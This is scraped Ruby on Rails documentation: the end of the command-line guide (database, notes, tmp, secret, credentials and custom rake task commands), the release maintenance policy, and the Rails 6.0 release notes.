The `db:schema:dump` command reads your database’s current schema and writes it out to the `db/schema.rb` file (or `db/structure.sql` if you’ve configured the schema format to `sql`). After running migrations, Rails automatically calls `schema:dump` so your schema file is always up to date (and doesn't need to be modified manually).

The schema file is a blueprint of your database and it is useful for setting up new environments for tests or development. It’s version-controlled, so you can see changes to the schema over time.

The `db:schema:load` command drops and recreates the database schema from `db/schema.rb` (or `db/structure.sql`). It does this directly, *without* replaying each migration one at a time.

This command is useful for quickly resetting a database to the current schema without running years of migrations one by one. For example, running `db:setup` also calls `db:schema:load` after creating the database and before seeding it.

You can think of `db:schema:dump` as the one that *writes* the `schema.rb` file and `db:schema:load` as the one that *reads* that file.

### [8.4. Other Utility Commands](#other-utility-commands)

#### [8.4.1. `bin/rails db:version`](#bin-rails-db-version)

The `bin/rails db:version` command will show you the current version of the database, which can be useful for troubleshooting.

```
$ bin/rails db:version

database: storage/development.sqlite3
Current version: 20250806173936
```

#### [8.4.2. `db:fixtures:load`](#db-fixtures-load)

The `db:fixtures:load` command loads fixtures into the current environment's database. To load specific fixtures, you can use `FIXTURES=x,y`. To load from a subdirectory in `test/fixtures`, use `FIXTURES_DIR=z`.

```
$ bin/rails db:fixtures:load
   -> Loading fixtures from test/fixtures/users.yml
   -> Loading fixtures from test/fixtures/books.yml
```

#### [8.4.3. `db:system:change`](#db-system-change)

In an existing Rails application, it's possible to switch to a different database. The `db:system:change` command helps with that by changing the `config/database.yml` file and your database gem to the target database.

```
$ bin/rails db:system:change --to=postgresql
    conflict  config/database.yml
Overwrite config/database.yml? (enter "h" for help) [Ynaqdhm] Y
       force  config/database.yml
        gsub  Gemfile
        gsub  Gemfile
...
```

#### [8.4.4. `db:encryption:init`](#db-encryption-init)

The `db:encryption:init` command generates a set of keys for configuring Active Record encryption in a given environment.

## [9. Running Tests](#running-tests)

The `bin/rails test` command helps you run the different types of tests in your application. The `bin/rails test --help` output has good examples of the different options for this command:

You can run a single test by appending a line number to a filename:

```
  bin/rails test test/models/user_test.rb:27
```

You can run multiple tests within a line range by appending the line range to a filename:

```
  bin/rails test test/models/user_test.rb:10-20
```

You can run multiple files and directories at the same time:

```
  bin/rails test test/controllers test/integration/login_test.rb
```

Rails comes with a testing framework called Minitest and there are also Minitest options you can use with the `test` command:

```
# Only run tests whose names match the regex /validation/
$ bin/rails test -n /validation/
```

Please see the [Testing Guide](testing.html) for explanations and examples of different types of tests.

## [10. Other Useful Commands](#other-useful-commands)

### [10.1. `bin/rails notes`](#bin-rails-notes)

The `bin/rails notes` command searches through your code for comments beginning with a specific keyword. You can refer to `bin/rails notes --help` for information about usage.

By default, it will search in `app`, `config`, `db`, `lib`, and `test` directories for FIXME, OPTIMIZE, and TODO annotations in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js`, and `.erb`.

```
$ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] any other way to do this?
  * [132] [FIXME] high priority for next deploy

lib/school.rb:
  * [ 13] [OPTIMIZE] refactor this code to make it faster
```

#### [10.1.1. Annotations](#annotations)

You can pass specific annotations by using the `-a` (or `--annotations`) option. Note that annotations are case sensitive.

```
$ bin/rails notes --annotations FIXME RELEASE
app/controllers/admin/users_controller.rb:
  * [101] [RELEASE] We need to look at this before next release
  * [132] [FIXME] high priority for next deploy

lib/school.rb:
  * [ 17] [FIXME]
```

#### [10.1.2. Add Tags](#add-tags)

You can add more default tags to search for by using `config.annotations.register_tags`:

```
config.annotations.register_tags("DEPRECATEME", "TESTME")
```

```
$ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] do A/B testing on this
  * [ 42] [TESTME] this needs more functional tests
  * [132] [DEPRECATEME] ensure this method is deprecated in next release
```

#### [10.1.3. Add Directories](#add-directories)

You can add more default directories to search from by using `config.annotations.register_directories`:

```
config.annotations.register_directories("spec", "vendor")
```

#### [10.1.4. Add File Extensions](#add-file-extensions)

You can add more default file extensions by using `config.annotations.register_extensions`:

```
config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
```

### [10.2. `bin/rails tmp:`](#bin-rails-tmp)

The `Rails.root/tmp` directory is, like the \*nix /tmp directory, the holding place for temporary files like process id files and cached actions.

The `tmp:` namespaced commands will help you clear and create the `Rails.root/tmp` directory:

```
$ bin/rails tmp:cache:clear # clears `tmp/cache`.
$ bin/rails tmp:sockets:clear # clears `tmp/sockets`.
$ bin/rails tmp:screenshots:clear` # clears `tmp/screenshots`.
$ bin/rails tmp:clear # clears all cache, sockets, and screenshot files.
$ bin/rails tmp:create # creates tmp directories for cache, sockets, and pids.
```

### [10.3. `bin/rails secret`](#bin-rails-secret)

The `bin/rails secret` command generates a cryptographically secure random string for use as a secret key in your Rails application.

```
$ bin/rails secret
4d39f92a661b5afea8c201b0b5d797cdd3dcf8ae41a875add6ca51489b1fbbf2852a666660d32c0a09f8df863b71073ccbf7f6534162b0a690c45fd278620a63
```

It can be useful for setting the secret key in your application's `config/credentials.yml.enc` file.

### [10.4. `bin/rails credentials`](#bin-rails-credentials)

The `credentials` commands provide access to encrypted credentials, so you can safely store access tokens, database passwords, and the like inside the app without relying on a bunch of environment variables.

To add values to the encrypted YML file `config/credentials.yml.enc`, you can use the `credentials:edit` command:

```
$ bin/rails credentials:edit
```

This opens the decrypted credentials in an editor (set by `$VISUAL` or `$EDITOR`) for editing. When saved, the content is encrypted automatically.

You can also use the `:show` command to view the decrypted credential file, which may look something like this (This is from a sample application and not sensitive data):

```
$ bin/rails credentials:show
# aws:
#   access_key_id: 123
#   secret_access_key: 345
active_record_encryption:
  primary_key: 99eYu7ZO0JEwXUcpxmja5PnoRJMaazVZ
  deterministic_key: lGRKzINTrMTDSuuOIr6r5kdq2sH6S6Ii
  key_derivation_salt: aoOUutSgvw788fvO3z0hSgv0Bwrm76P0

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 6013280bda2fcbdbeda1732859df557a067ac81c423855aedba057f7a9b14161442d9cadfc7e48109c79143c5948de848ab5909ee54d04c34f572153466fc589
```

You can learn about credentials in the [Rails Security Guide](security.html#custom-credentials).

Check out the detailed description for this command in the output of `bin/rails credentials --help`.

## [11. Custom Rake Tasks](#custom-rake-tasks)

You may want to create custom rake tasks in your application, to delete old records from the database for example. You can do this with the the `bin/rails generate task` command. Custom rake tasks have a `.rake` extension and are placed in the `lib/tasks` folder in your Rails application. For example:

```
$ bin/rails generate task cool
create  lib/tasks/cool.rake
```

The `cool.rake` file can contain this:

```
desc "I am short description for a cool task"
task task_name: [:prerequisite_task, :another_task_we_depend_on] do
  # Any valid Ruby code is allowed.
end
```

To pass arguments to your custom rake task:

```
task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
  argument_1 = args.arg_1
end
```

You can group tasks by placing them in namespaces:

```
namespace :db do
  desc "This task has something to do with the database"
  task :my_db_task do
    # ...
  end
end
```

Invoking rake tasks looks like this:

```
$ bin/rails task_name
$ bin/rails "task_name[value1]" # entire argument string should be quoted
$ bin/rails "task_name[value1, value2]" # separate multiple args with a comma
$ bin/rails db:my_db_task
```

If you need to interact with your application models, perform database queries, and so on, your task can depend on the `environment` task, which will load your Rails application.

```
task task_that_requires_app_code: [:environment] do
  puts User.count
end
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/maintenance_policy.html
----

***

## [1. Versioning](#versioning)

Rails follows a shifted version of [semver](https://semver.org/):

**Patch `Z`**

Only bug fixes, no API changes, no new features. Except as necessary for security fixes.

**Minor `Y`**

New features, may contain API changes (Serve as major versions of Semver). Breaking changes are paired with deprecation notices in the previous minor or major release.

**Major `X`**

New features, will likely contain API changes. The difference between Rails' minor and major releases is the magnitude of breaking changes, and usually reserved for special occasions.

## [2. New Features](#new-features)

New features are only added to the main branch and will not be made available in Patch releases.

## [3. Bug Fixes](#bug-fixes)

Minor releases will receive bug fixes for one year after the first release in its series. For example, if a theoretical 1.1.0 is released on January 1, 2023, it will receive bug fixes until January 1, 2024. After that, it will be considered unsupported.

Bug fixes are typically added to the main branch, and backported to the x-y-stable branch of the latest release series if there is sufficient need. When enough bugs fixes have been added to an x-y-stable branch, a new Patch release is built from it. For example, a theoretical 1.2.2 Patch release would be built from the 1-2-stable branch.

For unsupported series, bug fixes may coincidentally land in a stable branch, but won't be released in an official version. It is recommended to point your application at the stable branch using Git for unsupported versions.

## [4. Security Issues](#security-issues)

Minor releases will receive security fixes for two years after the first release in its series. For example, if a theoretical 1.1.0 is released on January 1, 2023, it will receive security fixes until January 1, 2025. After that, it will reach its end-of-life.

These releases are created by taking the last released version, applying the security patches, and releasing. Those patches are then applied to the end of the x-y-stable branch. For example, a theoretical 1.2.2.1 security release would be built from 1.2.2, and then added to the end of 1-2-stable. This means that security releases are easy to upgrade to if you're running the latest version of Rails.

Only direct security patches will be included in security releases. Fixes for non-security related bugs resulting from a security patch may be published on a release's x-y-stable branch, and will only be released as a new gem in accordance with the Bug Fixes policy.

Security releases are cut from the last security release branch/tag. Otherwise there could be breaking changes in the security release. A security release should only contain the changes needed to ensure the app is secure so that it's easier for applications to remain upgraded.

## [5. End-of-life Release Series](#end-of-life-release-series)

When a release series reaches its end-of-life, it's your own responsibility to deal with bugs and security issues. We may provide backports of the fixes and merge them, however there will be no new versions released. We recommend to point your application at the stable branch using Git. If you are not comfortable maintaining your own versions, you should upgrade to a supported version.

## [6. Release schedule](#release-schedule)

We aim to release a version containing new features every six months. In the rare case where no release was made in one year, we will extend the support period for the previous release until the next release is made.

## [7. npm Packages](#npm-packages)

Due to a constraint with npm, we are unable to use the 4th digit for security releases of [npm packages](https://www.npmjs.com/org/rails) provided by Rails. This means that instead of the equivalent gem version `7.0.1.4`, the npm package will be versioned `7.0.104`.

The version will be calculated as `X.Y.Z0A`, where `A` is the security release.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/6_0_release_notes.html
----

***

## [1. Upgrading to Rails 6.0](#upgrading-to-rails-6-0)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-2-to-rails-6-0) guide.

## [2. Major Features](#major-features)

### [2.1. Action Mailbox](#action-mailbox)

[Pull Request](https://github.com/rails/rails/pull/34786)

[Action Mailbox](https://github.com/rails/rails/tree/6-0-stable/actionmailbox) allows you to route incoming emails to controller-like mailboxes. You can read more about Action Mailbox in the [Action Mailbox Basics](action_mailbox_basics.html) guide.

### [2.2. Action Text](#action-text)

[Pull Request](https://github.com/rails/rails/pull/34873)

[Action Text](https://github.com/rails/rails/tree/6-0-stable/actiontext) brings rich text content and editing to Rails. It includes the [Trix editor](https://trix-editor.org) that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

You can read more about Action Text in the [Action Text Overview](action_text_overview.html) guide.

### [2.3. Parallel Testing](#parallel-testing)

[Pull Request](https://github.com/rails/rails/pull/31900)

[Parallel Testing](testing.html#parallel-testing) allows you to parallelize your test suite. While forking processes is the default method, threading is supported as well. Running tests in parallel reduces the time it takes your entire test suite to run.

### [2.4. Action Cable Testing](#action-cable-testing)

[Pull Request](https://github.com/rails/rails/pull/33659)

[Action Cable testing tools](testing.html#testing-action-cable) allow you to test your Action Cable functionality at any level: connections, channels, broadcasts.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `after_bundle` helper inside plugins templates. ([Commit](https://github.com/rails/rails/commit/4d51efe24e461a2a3ed562787308484cd48370c7))

* Remove deprecated support to `config.ru` that uses the application class as argument of `run`. ([Commit](https://github.com/rails/rails/commit/553b86fc751c751db504bcbe2d033eb2bb5b6a0b))

* Remove deprecated `environment` argument from the rails commands. ([Commit](https://github.com/rails/rails/commit/e20589c9be09c7272d73492d4b0f7b24e5595571))

* Remove deprecated `capify!` method in generators and templates. ([Commit](https://github.com/rails/rails/commit/9d39f81d512e0d16a27e2e864ea2dd0e8dc41b17))

* Remove deprecated `config.secret_token`. ([Commit](https://github.com/rails/rails/commit/46ac5fe69a20d4539a15929fe48293e1809a26b0))

### [3.2. Deprecations](#railties-deprecations)

* Deprecate passing Rack server name as a regular argument to `rails server`. ([Pull Request](https://github.com/rails/rails/pull/32058))

* Deprecate support for using `HOST` environment to specify server IP. ([Pull Request](https://github.com/rails/rails/pull/32540))

* Deprecate accessing hashes returned by `config_for` by non-symbol keys. ([Pull Request](https://github.com/rails/rails/pull/35198))

### [3.3. Notable changes](#railties-notable-changes)

* Add an explicit option `--using` or `-u` for specifying the server for the `rails server` command. ([Pull Request](https://github.com/rails/rails/pull/32058))

* Add ability to see the output of `rails routes` in expanded format. ([Pull Request](https://github.com/rails/rails/pull/32130))

* Run the seed database task using inline Active Job adapter. ([Pull Request](https://github.com/rails/rails/pull/34953))

* Add a command `rails db:system:change` to change the database of the application. ([Pull Request](https://github.com/rails/rails/pull/34832))

* Add `rails test:channels` command to test only Action Cable channels. ([Pull Request](https://github.com/rails/rails/pull/34947))

* Introduce guard against DNS rebinding attacks. ([Pull Request](https://github.com/rails/rails/pull/33145))

* Add ability to abort on failure while running generator commands. ([Pull Request](https://github.com/rails/rails/pull/34420))

* Make Webpacker the default JavaScript compiler for Rails 6. ([Pull Request](https://github.com/rails/rails/pull/33079))

* Add multiple database support for `rails db:migrate:status` command. ([Pull Request](https://github.com/rails/rails/pull/34137))

* Add ability to use different migration paths from multiple databases in the generators. ([Pull Request](https://github.com/rails/rails/pull/34021))

* Add support for multi environment credentials. ([Pull Request](https://github.com/rails/rails/pull/33521))

* Make `null_store` as default cache store in test environment. ([Pull Request](https://github.com/rails/rails/pull/33773))

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

* Replace `ActionCable.startDebugging()` and `ActionCable.stopDebugging()` with `ActionCable.logger.enabled`. ([Pull Request](https://github.com/rails/rails/pull/34370))

### [4.2. Deprecations](#action-cable-deprecations)

* There are no deprecations for Action Cable in Rails 6.0.

### [4.3. Notable changes](#action-cable-notable-changes)

* Add support for the `channel_prefix` option for PostgreSQL subscription adapters in `cable.yml`. ([Pull Request](https://github.com/rails/rails/pull/35276))

* Allow passing a custom configuration to `ActionCable::Server::Base`. ([Pull Request](https://github.com/rails/rails/pull/34714))

* Add `:action_cable_connection` and `:action_cable_channel` load hooks. ([Pull Request](https://github.com/rails/rails/pull/35094))

* Add `Channel::Base#broadcast_to` and `Channel::Base.broadcasting_for`. ([Pull Request](https://github.com/rails/rails/pull/35021))

* Close a connection when calling `reject_unauthorized_connection` from an `ActionCable::Connection`. ([Pull Request](https://github.com/rails/rails/pull/34194))

* Convert the Action Cable JavaScript package from CoffeeScript to ES2015 and publish the source code in the npm distribution. ([Pull Request](https://github.com/rails/rails/pull/34370))

* Move the configuration of the WebSocket adapter and logger adapter from properties of `ActionCable` to `ActionCable.adapters`. ([Pull Request](https://github.com/rails/rails/pull/34370))

* Add an `id` option to the Redis adapter to distinguish Action Cable's Redis connections. ([Pull Request](https://github.com/rails/rails/pull/33798))

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated `fragment_cache_key` helper in favor of `combined_fragment_cache_key`. ([Commit](https://github.com/rails/rails/commit/e70d3df7c9b05c129b0fdcca57f66eca316c5cfc))

* Remove deprecated methods in `ActionDispatch::TestResponse`: `#success?` in favor of `#successful?`, `#missing?` in favor of `#not_found?`, `#error?` in favor of `#server_error?`. ([Commit](https://github.com/rails/rails/commit/13ddc92e079e59a0b894e31bf5bb4fdecbd235d1))

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `ActionDispatch::Http::ParameterFilter` in favor of `ActiveSupport::ParameterFilter`. ([Pull Request](https://github.com/rails/rails/pull/34039))

* Deprecate controller level `force_ssl` in favor of `config.force_ssl`. ([Pull Request](https://github.com/rails/rails/pull/32277))

### [5.3. Notable changes](#action-pack-notable-changes)

* Change `ActionDispatch::Response#content_type` returning Content-Type header as it is. ([Pull Request](https://github.com/rails/rails/pull/36034))

* Raise an `ArgumentError` if a resource param contains a colon. ([Pull Request](https://github.com/rails/rails/pull/35236))

* Allow `ActionDispatch::SystemTestCase.driven_by` to be called with a block to define specific browser capabilities. ([Pull Request](https://github.com/rails/rails/pull/35081))

* Add `ActionDispatch::HostAuthorization` middleware that guards against DNS rebinding attacks. ([Pull Request](https://github.com/rails/rails/pull/33145))

* Allow the use of `parsed_body` in `ActionController::TestCase`. ([Pull Request](https://github.com/rails/rails/pull/34717))

* Raise an `ArgumentError` when multiple root routes exist in the same context without `as:` naming specifications. ([Pull Request](https://github.com/rails/rails/pull/34494))

* Allow the use of `#rescue_from` for handling parameter parsing errors. ([Pull Request](https://github.com/rails/rails/pull/34341))

* Add `ActionController::Parameters#each_value` for iterating through parameters. ([Pull Request](https://github.com/rails/rails/pull/33979))

* Encode Content-Disposition filenames on `send_data` and `send_file`. ([Pull Request](https://github.com/rails/rails/pull/33829))

* Expose `ActionController::Parameters#each_key`. ([Pull Request](https://github.com/rails/rails/pull/33758))

* Add purpose and expiry metadata inside signed/encrypted cookies to prevent copying the value of cookies into one another. ([Pull Request](https://github.com/rails/rails/pull/32937))

* Raise `ActionController::RespondToMismatchError` for conflicting `respond_to` invocations. ([Pull Request](https://github.com/rails/rails/pull/33446))

* Add an explicit error page for when a template is missing for a request format. ([Pull Request](https://github.com/rails/rails/pull/29286))

* Introduce `ActionDispatch::DebugExceptions.register_interceptor`, a way to hook into DebugExceptions and process the exception, before being rendered. ([Pull Request](https://github.com/rails/rails/pull/23868))

* Output only one Content-Security-Policy nonce header value per request. ([Pull Request](https://github.com/rails/rails/pull/32602))

* Add a module specifically for the Rails default headers configuration that can be explicitly included in controllers. ([Pull Request](https://github.com/rails/rails/pull/32484))

* Add `#dig` to `ActionDispatch::Request::Session`. ([Pull Request](https://github.com/rails/rails/pull/32446))

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated `image_alt` helper. ([Commit](https://github.com/rails/rails/commit/60c8a03c8d1e45e48fcb1055ba4c49ed3d5ff78f))

* Remove an empty `RecordTagHelper` module from which the functionality was already moved to the `record_tag_helper` gem. ([Commit](https://github.com/rails/rails/commit/5c5ddd69b1e06fb6b2bcbb021e9b8dae17e7cb31))

### [6.2. Deprecations](#action-view-deprecations)

* Deprecate `ActionView::Template.finalize_compiled_template_methods` with no replacement. ([Pull Request](https://github.com/rails/rails/pull/35036))

* Deprecate `config.action_view.finalize_compiled_template_methods` with no replacement. ([Pull Request](https://github.com/rails/rails/pull/35036))

* Deprecate calling private model methods from the `options_from_collection_for_select` view helper. ([Pull Request](https://github.com/rails/rails/pull/33547))

### [6.3. Notable changes](#action-view-notable-changes)

* Clear Action View cache in development only on file changes, speeding up development mode. ([Pull Request](https://github.com/rails/rails/pull/35629))

* Move all of the Rails npm packages into a `@rails` scope. ([Pull Request](https://github.com/rails/rails/pull/34905))

* Only accept formats from registered MIME types. ([Pull Request](https://github.com/rails/rails/pull/35604), [Pull Request](https://github.com/rails/rails/pull/35753))

* Add allocations to the template and partial rendering server output. ([Pull Request](https://github.com/rails/rails/pull/34136))

* Add a `year_format` option to `date_select` tag, making it possible to customize year names. ([Pull Request](https://github.com/rails/rails/pull/32190))

* Add a `nonce: true` option for `javascript_include_tag` helper to support automatic nonce generation for a Content Security Policy. ([Pull Request](https://github.com/rails/rails/pull/32607))

* Add a `action_view.finalize_compiled_template_methods` configuration to disable or enable `ActionView::Template` finalizers. ([Pull Request](https://github.com/rails/rails/pull/32418))

* Extract the JavaScript `confirm` call to its own, overridable method in `rails_ujs`. ([Pull Request](https://github.com/rails/rails/pull/32404))

* Add a `action_controller.default_enforce_utf8` configuration option to handle enforcing UTF-8 encoding. This defaults to `false`. ([Pull Request](https://github.com/rails/rails/pull/32125))

* Add I18n key style support for locale keys to submit tags. ([Pull Request](https://github.com/rails/rails/pull/26799))

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

### [7.2. Deprecations](#action-mailer-deprecations)

* Deprecate `ActionMailer::Base.receive` in favor of Action Mailbox. ([Commit](https://github.com/rails/rails/commit/e3f832a7433a291a51c5df397dc3dd654c1858cb))

* Deprecate `DeliveryJob` and `Parameterized::DeliveryJob` in favor of `MailDeliveryJob`. ([Pull Request](https://github.com/rails/rails/pull/34591))

### [7.3. Notable changes](#action-mailer-notable-changes)

* Add `MailDeliveryJob` for delivering both regular and parameterized mail. ([Pull Request](https://github.com/rails/rails/pull/34591))

* Allow custom email delivery jobs to work with the Action Mailer test assertions. ([Pull Request](https://github.com/rails/rails/pull/34339))

* Allow specifying a template name for multipart emails with blocks instead of using just the action name. ([Pull Request](https://github.com/rails/rails/pull/22534))

* Add `perform_deliveries` to payload of `deliver.action_mailer` notification. ([Pull Request](https://github.com/rails/rails/pull/33824))

* Improve the logging message when `perform_deliveries` is false to indicate that sending of emails was skipped. ([Pull Request](https://github.com/rails/rails/pull/33824))

* Allow calling `assert_enqueued_email_with` without block. ([Pull Request](https://github.com/rails/rails/pull/33258))

* Perform the enqueued mail delivery jobs in the `assert_emails` block. ([Pull Request](https://github.com/rails/rails/pull/32231))

* Allow `ActionMailer::Base` to unregister observers and interceptors. ([Pull Request](https://github.com/rails/rails/pull/32207))

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `#set_state` from the transaction object. ([Commit](https://github.com/rails/rails/commit/6c745b0c5152a4437163a67707e02f4464493983))

* Remove deprecated `#supports_statement_cache?` from the database adapters. ([Commit](https://github.com/rails/rails/commit/5f3ed8784383fb4eb0f9959f31a9c28a991b7553))

* Remove deprecated `#insert_fixtures` from the database adapters. ([Commit](https://github.com/rails/rails/commit/400ba786e1d154448235f5f90183e48a1043eece))

* Remove deprecated `ActiveRecord::ConnectionAdapters::SQLite3Adapter#valid_alter_table_type?`. ([Commit](https://github.com/rails/rails/commit/45b4d5f81f0c0ca72c18d0dea4a3a7b2ecc589bf))

* Remove support for passing the column name to `sum` when a block is passed. ([Commit](https://github.com/rails/rails/commit/91ddb30083430622188d76eb9f29b78131df67f9))

* Remove support for passing the column name to `count` when a block is passed. ([Commit](https://github.com/rails/rails/commit/67356f2034ab41305af7218f7c8b2fee2d614129))

* Remove support for delegation of missing methods in a relation to Arel. ([Commit](https://github.com/rails/rails/commit/d97980a16d76ad190042b4d8578109714e9c53d0))

* Remove support for delegating missing methods in a relation to private methods of the class. ([Commit](https://github.com/rails/rails/commit/a7becf147afc85c354e5cfa519911a948d25fc4d))

* Remove support for specifying a timestamp name for `#cache_key`. ([Commit](https://github.com/rails/rails/commit/0bef23e630f62e38f20b5ae1d1d5dbfb087050ea))

* Remove deprecated `ActiveRecord::Migrator.migrations_path=`. ([Commit](https://github.com/rails/rails/commit/90d7842186591cae364fab3320b524e4d31a7d7d))

* Remove deprecated `expand_hash_conditions_for_aggregates`. ([Commit](https://github.com/rails/rails/commit/27b252d6a85e300c7236d034d55ec8e44f57a83e))

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate mismatched case-sensitivity collation comparisons for uniqueness validator. ([Commit](https://github.com/rails/rails/commit/9def05385f1cfa41924bb93daa187615e88c95b9))

* Deprecate using class level querying methods if the receiver scope has leaked. ([Pull Request](https://github.com/rails/rails/pull/35280))

* Deprecate `config.active_record.sqlite3.represent_boolean_as_integer`. ([Commit](https://github.com/rails/rails/commit/f59b08119bc0c01a00561d38279b124abc82561b))

* Deprecate passing `migrations_paths` to `connection.assume_migrated_upto_version`. ([Commit](https://github.com/rails/rails/commit/c1b14aded27e063ead32fa911aa53163d7cfc21a))

* Deprecate `ActiveRecord::Result#to_hash` in favor of `ActiveRecord::Result#to_a`. ([Commit](https://github.com/rails/rails/commit/16510d609c601aa7d466809f3073ec3313e08937))

* Deprecate methods in `DatabaseLimits`: `column_name_length`, `table_name_length`, `columns_per_table`, `indexes_per_table`, `columns_per_multicolumn_index`, `sql_query_length`, and `joins_per_query`. ([Commit](https://github.com/rails/rails/commit/e0a1235f7df0fa193c7e299a5adee88db246b44f))

* Deprecate `update_attributes`/`!` in favor of `update`/`!`. ([Commit](https://github.com/rails/rails/commit/5645149d3a27054450bd1130ff5715504638a5f5))

### [8.3. Notable changes](#active-record-notable-changes)

* Bump the minimum version of the `sqlite3` gem to 1.4. ([Pull Request](https://github.com/rails/rails/pull/35844))

* Add `rails db:prepare` to create a database if it doesn't exist, and run its migrations. ([Pull Request](https://github.com/rails/rails/pull/35768))

* Add `after_save_commit` callback as shortcut for `after_commit :hook, on: [ :create, :update ]`. ([Pull Request](https://github.com/rails/rails/pull/35804))

* Add `ActiveRecord::Relation#extract_associated` for extracting associated records from a relation. ([Pull Request](https://github.com/rails/rails/pull/35784))

* Add `ActiveRecord::Relation#annotate` for adding SQL comments to ActiveRecord::Relation queries. ([Pull Request](https://github.com/rails/rails/pull/35617))

* Add support for setting Optimizer Hints on databases. ([Pull Request](https://github.com/rails/rails/pull/35615))

* Add `insert_all`/`insert_all!`/`upsert_all` methods for doing bulk inserts. ([Pull Request](https://github.com/rails/rails/pull/35631))

* Add `rails db:seed:replant` that truncates tables of each database for the current environment and loads the seeds. ([Pull Request](https://github.com/rails/rails/pull/34779))

* Add `reselect` method, which is a short-hand for `unscope(:select).select(fields)`. ([Pull Request](https://github.com/rails/rails/pull/33611))

* Add negative scopes for all enum values. ([Pull Request](https://github.com/rails/rails/pull/35381))

* Add `#destroy_by` and `#delete_by` for conditional removals. ([Pull Request](https://github.com/rails/rails/pull/35316))

* Add the ability to automatically switch database connections. ([Pull Request](https://github.com/rails/rails/pull/35073))

* Add the ability to prevent writes to a database for the duration of a block. ([Pull Request](https://github.com/rails/rails/pull/34505))

* Add an API for switching connections to support multiple databases. ([Pull Request](https://github.com/rails/rails/pull/34052))

* Make timestamps with precision the default for migrations. ([Pull Request](https://github.com/rails/rails/pull/34970))

* Support `:size` option to change text and blob size in MySQL. ([Pull Request](https://github.com/rails/rails/pull/35071))

* Set both the foreign key and the foreign type columns to NULL for polymorphic associations on `dependent: :nullify` strategy. ([Pull Request](https://github.com/rails/rails/pull/28078))

* Allow a permitted instance of `ActionController::Parameters` to be passed as an argument to `ActiveRecord::Relation#exists?`. ([Pull Request](https://github.com/rails/rails/pull/34891))

* Add support in `#where` for endless ranges introduced in Ruby 2.6. ([Pull Request](https://github.com/rails/rails/pull/34906))

* Make `ROW_FORMAT=DYNAMIC` a default create table option for MySQL. ([Pull Request](https://github.com/rails/rails/pull/34742))

* Add the ability to disable scopes generated by `ActiveRecord.enum`. ([Pull Request](https://github.com/rails/rails/pull/34605))

* Make implicit ordering configurable for a column. ([Pull Request](https://github.com/rails/rails/pull/34480))

* Bump the minimum PostgreSQL version to 9.3, dropping support for 9.1 and 9.2. ([Pull Request](https://github.com/rails/rails/pull/34520))

* Make the values of an enum frozen, raising an error when attempting to modify them. ([Pull Request](https://github.com/rails/rails/pull/34517))

* Make the SQL of `ActiveRecord::StatementInvalid` errors its own error property and include SQL binds as a separate error property. ([Pull Request](https://github.com/rails/rails/pull/34468))

* Add an `:if_not_exists` option to `create_table`. ([Pull Request](https://github.com/rails/rails/pull/31382))

* Add support for multiple databases to `rails db:schema:cache:dump` and `rails db:schema:cache:clear`. ([Pull Request](https://github.com/rails/rails/pull/34181))

* Add support for hash and url configs in database hash of `ActiveRecord::Base.connected_to`. ([Pull Request](https://github.com/rails/rails/pull/34196))

* Add support for default expressions and expression indexes for MySQL. ([Pull Request](https://github.com/rails/rails/pull/34307))

* Add an `index` option for `change_table` migration helpers. ([Pull Request](https://github.com/rails/rails/pull/23593))

* Fix `transaction` reverting for migrations. Previously, commands inside of a `transaction` in a reverted migration ran uninverted. This change fixes that. ([Pull Request](https://github.com/rails/rails/pull/31604))

* Allow `ActiveRecord::Base.configurations=` to be set with a symbolized hash. ([Pull Request](https://github.com/rails/rails/pull/33968))

* Fix the counter cache to only update if the record is actually saved. ([Pull Request](https://github.com/rails/rails/pull/33913))

* Add expression indexes support for the SQLite adapter. ([Pull Request](https://github.com/rails/rails/pull/33874))

* Allow subclasses to redefine autosave callbacks for associated records. ([Pull Request](https://github.com/rails/rails/pull/33378))

* Bump the minimum MySQL version to 5.5.8. ([Pull Request](https://github.com/rails/rails/pull/33853))

* Use the utf8mb4 character set by default in MySQL. ([Pull Request](https://github.com/rails/rails/pull/33608))

* Add the ability to filter out sensitive data in `#inspect` ([Pull Request](https://github.com/rails/rails/pull/33756), [Pull Request](https://github.com/rails/rails/pull/34208))

* Change `ActiveRecord::Base.configurations` to return an object instead of a hash. ([Pull Request](https://github.com/rails/rails/pull/33637))

* Add database configuration to disable advisory locks. ([Pull Request](https://github.com/rails/rails/pull/33691))

